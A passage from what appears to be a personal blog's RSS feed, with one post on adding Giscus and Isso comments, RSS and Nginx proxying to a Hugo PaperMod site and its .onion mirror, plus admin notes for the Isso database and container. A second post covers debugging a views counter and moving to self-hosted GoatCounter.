    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
